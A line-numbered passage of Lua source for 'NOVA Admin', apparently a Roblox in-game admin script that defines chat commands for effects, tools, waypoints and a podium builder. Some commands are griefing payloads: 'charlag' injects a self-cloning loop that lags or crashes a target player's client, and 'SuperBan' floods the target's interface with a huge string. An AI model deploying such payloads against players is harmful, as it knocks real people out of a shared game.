4325 | pcall(function() | |
4326 | v.Chatted:connect(function(Msg) | |
4327 | local m = Instance.new("Explosion",v.Character.Head) | |
4328 | m.Position = v.Character.Head.Position | |
4329 | end) | |
4330 | end) | |
4331 | end | |
4332 | end | |
4333 | ) | |
4334 | AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>", | |
4335 | function(Msg,Speaker) | |
4336 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4337 | pcall(function() | |
4338 | for _,Part in pairs(GetRecursiveChildren(v.Character)) do | |
4339 | if Part:IsA("BasePart") then | |
4340 | for i=1,10 do | |
4341 | local Sparkles = Instance.new("Sparkles",Part) | |
4342 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4343 | local Fire = Instance.new("Fire",Part) | |
4344 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4345 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4346 | end | |
4347 | end | |
4348 | end | |
4349 | end) | |
4350 | end | |
4351 | end | |
4352 | ) | |
4353 | ||
4354 | AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments", | |
4355 | function(Msg,Speaker) | |
4356 | if NOVA.ShowChat == true then | |
4357 | NOVA.ShowChat = false | |
4358 | elseif NOVA.ShowChat == false then | |
4359 | NOVA.ShowChat = true | |
4360 | end | |
4361 | end | |
4362 | ) | |
4363 | ||
4364 | ||
4365 | AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>", | |
4366 | function(Msg,Speaker) | |
4367 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4368 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4369 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4370 | else | |
4371 | pcall(function() | |
4372 | CreateLocalScript([[ | |
4373 | script.Parent = workspace.CurrentCamera | |
4374 | while wait() do | |
4375 | coroutine.resume(coroutine.create(function() | |
4376 | for i=1,math.huge do | |
4377 | wait() | |
4378 | for i=1,10 do | |
4379 | NS = script:Clone() | |
4380 | NS.Disabled = true | |
4381 | NS.Parent = game:GetService("Players").LocalPlayer.Backpack | |
4382 | NS.Disabled = false | |
4383 | end | |
4384 | for i=1,10 do | |
4385 | game:GetService("Players").LocalPlayer.Character.Archivable = true | |
4386 | local Clone = game:GetService("Players").LocalPlayer.Character:Clone() | |
4387 | Clone.Parent = workspace.CurrentCamera | |
4388 | end | |
4389 | end | |
4390 | end)) | |
4391 | end]], | |
4392 | v.Backpack) | |
4393 | end) | |
4394 | end | |
4395 | end | |
4396 | end | |
4397 | ) | |
4398 | ||
4399 | ||
4400 | ||
4401 | AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>", | |
4402 | function(Msg,Speaker) | |
4403 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4404 | pcall(function() | |
4405 | v.Character.Humanoid.PlatformStand = true | |
4406 | end) | |
4407 | end | |
4408 | end | |
4409 | ) | |
4410 | ||
4411 | AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>", | |
4412 | function(Msg,Speaker) | |
4413 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4414 | pcall(function() | |
4415 | v.Character.Humanoid.PlatformStand = false | |
4416 | end) | |
4417 | end | |
4418 | end | |
4419 | ) | |
4420 | ||
4421 | AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>", | |
4422 | function(Msg,Speaker) | |
4423 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4424 | pcall(function() | |
4425 | for _,Tool in pairs(v.Backpack:GetChildren()) do | |
4426 | Tool:Clone().Parent = Speaker.Backpack | |
4427 | end | |
4428 | end) | |
4429 | end | |
4430 | end | |
4431 | ) | |
4432 | AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>", | |
4433 | function(Msg,Speaker) | |
4434 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4435 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
4436 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4437 | else | |
4438 | pcall(function() | |
4439 | GetRankedTable(v).Rank = -1 | |
4440 | SyncRankOutSingular(v) | |
4441 | Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000) | |
4442 | end) | |
4443 | end | |
4444 | end | |
4445 | end | |
4446 | ) | |
4447 | ||
4448 | AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>", | |
4449 | function(Msg,Speaker) | |
4450 | local Give = {} | |
4451 | for _,v in pairs(NOVA.Services.Lighting:children()) do | |
4452 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4453 | function() | |
4454 | table.insert(Give,v:Clone()) | |
4455 | end | |
4456 | ) | |
4457 | end | |
4458 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4459 | function() | |
4460 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4461 | for _,Tool in pairs(Give) do | |
4462 | Tool:Clone().Parent = v.Backpack | |
4463 | end | |
4464 | end | |
4465 | RemoveTablets(Speaker) | |
4466 | end | |
4467 | ) | |
4468 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4469 | end | |
4470 | ) | |
4471 | ||
4472 | ||
4473 | AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments", | |
4474 | function(Msg,Speaker) | |
4475 | pcall(function() | |
4476 | for _,Tool in pairs(Speaker.Backpack:children()) do | |
4477 | Tool:Clone().Parent = NOVA.Services.Lighting | |
4478 | end | |
4479 | end) | |
4480 | end | |
4481 | ) | |
4482 | ||
4483 | AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>", | |
4484 | function(Msg,Speaker) | |
4485 | Split = GetSplit(Msg) | |
4486 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4487 | if v:FindFirstChild("PlayerGui") ~= nil then | |
4488 | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui) | |
4489 | end | |
4490 | end | |
4491 | end | |
4492 | ) | |
4493 | ||
4494 | AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments", | |
4495 | function(Msg,Speaker) | |
4496 | local Data = GetRankedTable(Speaker) | |
4497 | Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker) | |
4498 | Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker) | |
4499 | Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil, | |
4500 | function() | |
4501 | RemoveTablets(Speaker) | |
4502 | OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) | |
4503 | end | |
4504 | ) | |
4505 | Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker) | |
4506 | Output("How to use commands.",Data.Color,Speaker,nil, | |
4507 | function() | |
4508 | RemoveTablets(Speaker) | |
4509 | Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker) | |
4510 | Output("Please note it is a slash ( located below/around the 'Return'/'Enter' key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker) | |
4511 | Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker) | |
4512 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end) | |
4513 | end | |
4514 | ) | |
4515 | Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker) | |
4516 | Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker) | |
4517 | end | |
4518 | ) | |
4519 | ||
4520 | AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments", | |
4521 | function(Msg,Speaker) | |
4522 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
4523 | if v:IsA("Script") then | |
4524 | v.Disabled = true | |
4525 | v.Parent = NOVA.Services.Debris | |
4526 | v.Disabled = true | |
4527 | v:Destroy() | |
4528 | v.Parent = NOVA.Services.Debris | |
4529 | v.Disabled = true | |
4530 | v:Destroy() | |
4531 | end | |
4532 | end | |
4533 | end | |
4534 | ) | |
4535 | ||
4536 | AddCommand("Execute","exe",6,"Loads the following string.","<Source>", | |
4537 | function(Msg,Speaker) | |
4538 | if Msg == nil or #Msg == 0 then | |
4539 | RemoveTablets(Speaker) | |
4540 | local Data = GetRankedTable(Speaker) | |
4541 | for _,v in pairs(Data.Executeables:children()) do | |
4542 | Output(v.Name,Data.Color,Speaker,nil, | |
4543 | function() | |
4544 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[ | |
4545 | --[=[NOVA Internal Executeable Script ]=]-- | |
4546 | Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") | |
4547 | ]] .. v.Value .. [[]])() end)) | |
4548 | if not a then | |
4549 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4550 | else | |
4551 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4552 | end | |
4553 | end | |
4554 | ) | |
4555 | end | |
4556 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4557 | else | |
4558 | Source = Msg | |
4559 | --Source = string.gsub(Source,"print(","PrintS(") | |
4560 | --Source = string.gsub(Source,"print'","PrintS'") | |
4561 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end)) | |
4562 | if not a then | |
4563 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4564 | else | |
4565 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4566 | end | |
4567 | end | |
4568 | end | |
4569 | ) | |
4570 | ||
4571 | AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments", | |
4572 | function(Msg,Speaker) | |
4573 | pcall(function() | |
4574 | CreateLocalScript([[ | |
4575 | game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera | |
4576 | ]], | |
4577 | Speaker.Backpack) | |
4578 | end) | |
4579 | end | |
4580 | ) | |
4581 | ||
4582 | AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>", | |
4583 | function(Msg,Speaker) | |
4584 | pcall(function() | |
4585 | NOVA.Sounds.Sound.Pitch = tonumber(Msg) | |
4586 | end) | |
4587 | end | |
4588 | ) | |
4589 | AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>", | |
4590 | function(Msg,Speaker) | |
4591 | pcall(function() | |
4592 | NOVA.Sounds.Sound.Looped = Msg | |
4593 | end) | |
4594 | end | |
4595 | ) | |
4596 | AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments", | |
4597 | function(Msg,Speaker) | |
4598 | Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end) | |
4599 | end | |
4600 | ) | |
4601 | AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>", | |
4602 | function(Msg,Speaker) | |
4603 | local Give = {} | |
4604 | for _,v in pairs(NOVA.Plugins) do | |
4605 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4606 | function() | |
4607 | table.insert(Give,v:Clone()) | |
4608 | end | |
4609 | ) | |
4610 | end | |
4611 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4612 | function() | |
4613 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4614 | for _,Tool in pairs(Give) do | |
4615 | New = Tool:Clone() | |
4616 | New.Parent = v.Backpack | |
4617 | pcall(function() | |
4618 | New.Disabled = false | |
4619 | end) | |
4620 | end | |
4621 | end | |
4622 | RemoveTablets(Speaker) | |
4623 | end | |
4624 | ) | |
4625 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4626 | end | |
4627 | ) | |
4628 | AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>", | |
4629 | function(Msg,Speaker) | |
4630 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4631 | pcall(function() | |
4632 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4633 | part.Locked = true | |
4634 | end | |
4635 | end) | |
4636 | end | |
4637 | end | |
4638 | ) | |
4639 | AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>", | |
4640 | function(Msg,Speaker) | |
4641 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4642 | pcall(function() | |
4643 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4644 | part.Locked = false | |
4645 | end | |
4646 | end) | |
4647 | end | |
4648 | end | |
4649 | ) | |
4650 | AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>", | |
4651 | function(Msg,Speaker) | |
4652 | Split = GetSplit(Msg) | |
4653 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4654 | pcall(function() | |
4655 | CreateLocalScript(Msg:sub(Split+1),v.Backpack) | |
4656 | end) | |
4657 | end | |
4658 | end | |
4659 | ) | |
4660 | AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>", | |
4661 | function(Msg,Speaker) | |
4662 | NOVA.Services.Lighting.Brightness = tonumber(Msg) | |
4663 | end | |
4664 | ) | |
4665 | AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>", | |
4666 | function(Msg,Speaker) | |
4667 | pcall(function() | |
4668 | Rtn = CFrame.new( | |
4669 | Speaker.Character.Torso.CFrame.x, | |
4670 | Speaker.Character.Torso.CFrame.y, | |
4671 | Speaker.Character.Torso.CFrame.z | |
4672 | ) | |
4673 | table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn}) | |
4674 | end) | |
4675 | end | |
4676 | ) | |
4677 | AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments", | |
4678 | function(Msg,Speaker) | |
4679 | for _,v in pairs(NOVA.Waypoints) do | |
4680 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4681 | pcall(function() | |
4682 | RemoveTablets(Speaker) | |
4683 | Speaker.Character.Torso.CFrame = v.CFrame | |
4684 | end) | |
4685 | end) | |
4686 | end | |
4687 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4688 | end | |
4689 | ) | |
4690 | AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments", | |
4691 | function(Msg,Speaker) | |
4692 | Rtn = {} | |
4693 | for num,v in pairs(NOVA.Waypoints) do | |
4694 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4695 | table.insert(Rtn,num) | |
4696 | end) | |
4697 | end | |
4698 | Output("Done",NOVA.Colors.Green,Speaker,nil,function() | |
4699 | RemoveTablets(Speaker) | |
4700 | for _,v in pairs(Rtn) do | |
4701 | table.remove(NOVA.Waypoints,v) | |
4702 | end | |
4703 | end) | |
4704 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4705 | end | |
4706 | ) | |
4707 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
4708 | function(Msg,Speaker) | |
4709 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4710 | pcall(function() | |
4711 | for i=0,3 do | |
4712 | Instance.new("HopperBin",v.Backpack).BinType = i | |
4713 | end | |
4714 | end) | |
4715 | end | |
4716 | end | |
4717 | ) | |
4718 | AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments", | |
4719 | function(Msg,Speaker) | |
4720 | local MainColor = Color3.new(0,0,0) | |
4721 | local SeccondaryColor = Color3.new(0.69,0.13,0.13) | |
4722 | local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium" | |
4723 | local MainCFrame = Speaker.Character.Torso.CFrame | |
4724 | * CFrame.new(0,-4,0) | |
4725 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4726 | local SeccondaryCFrame = Speaker.Character.Torso.CFrame | |
4727 | * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 ) | |
4728 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4729 | if CFrame == nil then return end | |
4730 | coroutine.resume(coroutine.create(function() | |
4731 | for i=1,25 do | |
4732 | wait() | |
4733 | local Step = Instance.new("Part",Main) | |
4734 | Step.FormFactor = "Custom" | |
4735 | Step.Name = "Step" | |
4736 | Step.Anchored = true | |
4737 | Step.Locked = true | |
4738 | Step.Reflectance = 0 | |
4739 | Step.TopSurface = "Smooth" | |
4740 | Step.BottomSurface = "Smooth" | |
4741 | Step.BrickColor = BrickColor.new(SeccondaryColor) | |
4742 | Step.Size = Vector3.new(6,1,3) | |
4743 | Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2)) | |
4744 | Instance.new("BlockMesh",Step) | |
4745 | local Carpet = Instance.new("Part",Main) | |
4746 | Carpet.FormFactor = "Custom" | |
4747 | Carpet.Name = "Carpet" | |
4748 | Carpet.Anchored = true | |
4749 | Carpet.Locked = true | |
4750 | Carpet.Reflectance = 0 | |
4751 | Carpet.TopSurface = "Smooth" | |
4752 | Carpet.BottomSurface = "Smooth" | |
4753 | Carpet.BrickColor = BrickColor.new(MainColor) | |
4754 | Carpet.Size = Vector3.new(4,1,3.2) | |
4755 | Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2)) | |
4756 | Instance.new("BlockMesh",Carpet) | |
4757 | end | |
4758 | local MainCirc = Instance.new("Part",Main) | |
4759 | MainCirc.FormFactor = "Custom" | |
4760 | MainCirc.Name = "MainCirc" | |
4761 | MainCirc.Anchored = true | |
4762 | MainCirc.Locked = true | |
4763 | MainCirc.Reflectance = 0 | |
4764 | MainCirc.TopSurface = "Smooth" | |
4765 | MainCirc.BottomSurface = "Smooth" | |
4766 | MainCirc.BrickColor = BrickColor.new(SeccondaryColor) | |
4767 | MainCirc.Size = Vector3.new(20,1,20) | |
4768 | MainCirc.CFrame = SeccondaryCFrame | |
4769 | Instance.new("CylinderMesh",MainCirc) | |
4770 | local SeccondaryCirc = Instance.new("Part",Main) | |
4771 | SeccondaryCirc.FormFactor = "Custom" | |
4772 | SeccondaryCirc.Name = "SeccondaryCirc" | |
4773 | SeccondaryCirc.Anchored = true | |
4774 | SeccondaryCirc.Locked = true | |
4775 | SeccondaryCirc.Reflectance = 0 | |
4776 | SeccondaryCirc.TopSurface = "Smooth" | |
4777 | SeccondaryCirc.BottomSurface = "Smooth" | |
4778 | SeccondaryCirc.BrickColor = BrickColor.new(MainColor) | |
4779 | SeccondaryCirc.Size = Vector3.new(18,1,18) | |
4780 | SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0) | |
4781 | Instance.new("CylinderMesh",SeccondaryCirc) | |
4782 | for i=1,math.floor(360/6) do | |
4783 | local Spike = Instance.new("Part",Main) | |
4784 | Spike.FormFactor = "Custom" | |
4785 | Spike.Name = "Spike" | |
4786 | Spike.Anchored = true | |
4787 | Spike.Locked = true | |
4788 | Spike.Reflectance = 0 | |
4789 | Spike.TopSurface = "Smooth" | |
4790 | Spike.BottomSurface = "Smooth" | |
4791 | Spike.BrickColor = BrickColor.new(MainColor) | |
4792 | Spike.Size = Vector3.new(1,7,1) | |
4793 | Spike.CFrame = SeccondaryCFrame | |
4794 | * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45)) | |
4795 | * CFrame.new(7,-7,0) | |
4796 | Torch = Instance.new("Part",Main) | |
4797 | Torch.Reflectance = 1e+999 | |
4798 | Torch.FormFactor = "Custom" | |
4799 | Torch.Shape = "Ball" | |
4800 | Torch.Anchored = true | |
4801 | Torch.Locked = true | |
4802 | Torch.Size = Vector3.new(2,2,2) | |
4803 | Torch.CFrame = Spike.CFrame | |
4804 | * CFrame.new(0,3.5,0) | |
4805 | * CFrame.Angles(0,0,0) | |
4806 | Instance.new("Fire",Torch) | |
4807 | end | |
4808 | end)) | |
4809 | end | |
4810 | ) |